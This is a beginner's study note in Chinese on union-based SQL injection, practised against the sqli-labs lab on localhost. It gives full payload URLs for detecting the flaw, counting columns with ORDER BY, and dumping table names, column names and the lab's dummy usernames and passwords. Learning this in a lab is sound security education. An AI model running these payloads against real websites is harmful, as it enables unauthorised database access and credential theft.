sql注入 小白入门学习笔记(一)

首先介绍几个英文单词:

schema:数据库

table:表

column:列 / 字段

常用的函数:

select就不说了,不会的建议去菜鸟教程看

insert into 表名 name(字段名1,字段名2…) values(值1,值2…)

update 表名 set 字段名 = 更新后的值 where 选择条件

delete from 表名 where 选择条件

limit 偏移量,操作个数
比如说 limit 0,1 就是从0开始,查一个

几个查询数据库基本信息的函数:

database() : 查看当前操作(use)的数据库,返回数据库名。

user() : 查看当前数据库的用户名。

version() : 查看当前mysql版本号。

几种注释方法:

在这里插入图片描述

ps:这里我发现#不好用,不知道怎么回事,在地址栏输了#和没输一样,如果你知道是怎么回事拜托请在评论区告诉我,感激!
然后 --空格 这个注意在地址栏的时候输减减加
第三个我还没用过

在mysql中,有一个默认的数据库叫做 information_schema

里面有很多表,其中有几个比较重要的(目前学习到的):tables columns schematasql注入 小白入门学习笔记(一)_第1张图片
我们可以利用这个数据库来获得想要的数据库名表名以及字段名

比如

sql注入 小白入门学习笔记(一)_第2张图片
这里我输入的是 id=1’ ,正常来说应该是输入一个id就可以了,多出来的这个 ‘ 是为了检测是否存在注入漏洞。

根据这里的错误回显可以知道,原来的选择语句大概如下

select 两个字段名 from 表名 where id =’ 你提交的参数 ’ LIMIT 0,1;

首先我们知道了这里存在sql注入,那么我们就要先写出一个查询语句,再通过构造,把语句注入。

union select group_concat(table_name) from information_schema.tables where table_schema = database()

补充说明:

union select 就是联合查询的意思,同时进行两个查询

group_concat() 就是用逗号连接全部值

information_schema.tables 这个 . 就是操作数据库下的表,自己理解一下,有点和c语言和python都挺像的。

然后再构造
http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=0’ union select group_concat(table_name) from information_schema.tables where table_schema = database() --+

问题来了sql注入 小白入门学习笔记(一)_第3张图片
怎么长这样??

按道理来说应该会显示我查询的全部属于当前数据库下的表名啊。

查阅资料…

发现原来注入步骤不对。

先给出正确步骤:

  1. 判断系统查询的字段数
  2. 查询表名
  3. 查询列名
  4. 查询列值

那么就有问题了,为什么我们要先判断字段数呢?

首先我们要明白,我们查询之后的结果想要显示,那么必须知道网页后台原语句显示的是哪几个,我们要把注入的查询的字段数==后台原查询字段数 才能显示。

好像有点不理解,我们举个梨子:

比如说这里sql注入 小白入门学习笔记(一)_第4张图片
正常情况是查询了3个字段,当然,这是光看出来的,我们应该要写出一个语句来判断它到底查询了多少个字段。

这里就要用到order by 语句

order by 数字,它的使用就是省略了字段名称直接使用num数字来代替相应位置的字段名称,相当于你可以直接用这个数字代替字段名。

比如 order by 1 就是操作第一个字段。

所以就可以用order by 来判断第几个字段是否存在。sql注入 小白入门学习笔记(一)_第5张图片
http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=1’ order by 4 --+

然后报错,说字段‘4’不在指定语句中。

然后我们查3sql注入 小白入门学习笔记(一)_第6张图片
就可以了,所以说明后台代码查询的字段数为3

知道了字段数我们就应该看一看各个查询的字段都显示在什么位置

这里使用select语句来查看各个显示位

补充说明:

select 语句直接加数字这种是把数字的值直接赋给列名了。

例如
在这里插入图片描述
在这里插入图片描述
我们配合这样使用数字代表字段名和字段值,就可以得到字段值显示的位置,从而修改该位置显示的数据,如修改成显示账户名和密码等我们需要的数据。

http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=1’ union select 1,2,3 --+sql注入 小白入门学习笔记(一)_第7张图片

呜呜怎么还是这样。

研究发现,要使前面的查询语句查不到,不然就显示了前面的,后面的就不显示了。

修改为

http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=0’ union select 1,2,3 --+
sql注入 小白入门学习笔记(一)_第8张图片
终于好了。

可以看到,这个第一个位置是不显示我们的字段值的,只有23两个位置有显示

然后修改一开始的注入代码

http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+sql注入 小白入门学习笔记(一)_第9张图片
好了

再同样方法得到user表中的字段名

http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = “users” --+

注意users要打引号哦

不过我这里好像有点问题,如果和我的不一样应该才是正常的
sql注入 小白入门学习笔记(一)_第10张图片
再用同样方法得到账户名和密码

http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+

Welcome Dhakkan
Your Login name:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
Your Password:3

应该差不多是这样。

关于sqlmap的使用,以后再写吧…

本文系作者原创,若有错误恳请斧正,不胜感激。

你可能感兴趣的:(sql注入 小白入门学习笔记(一))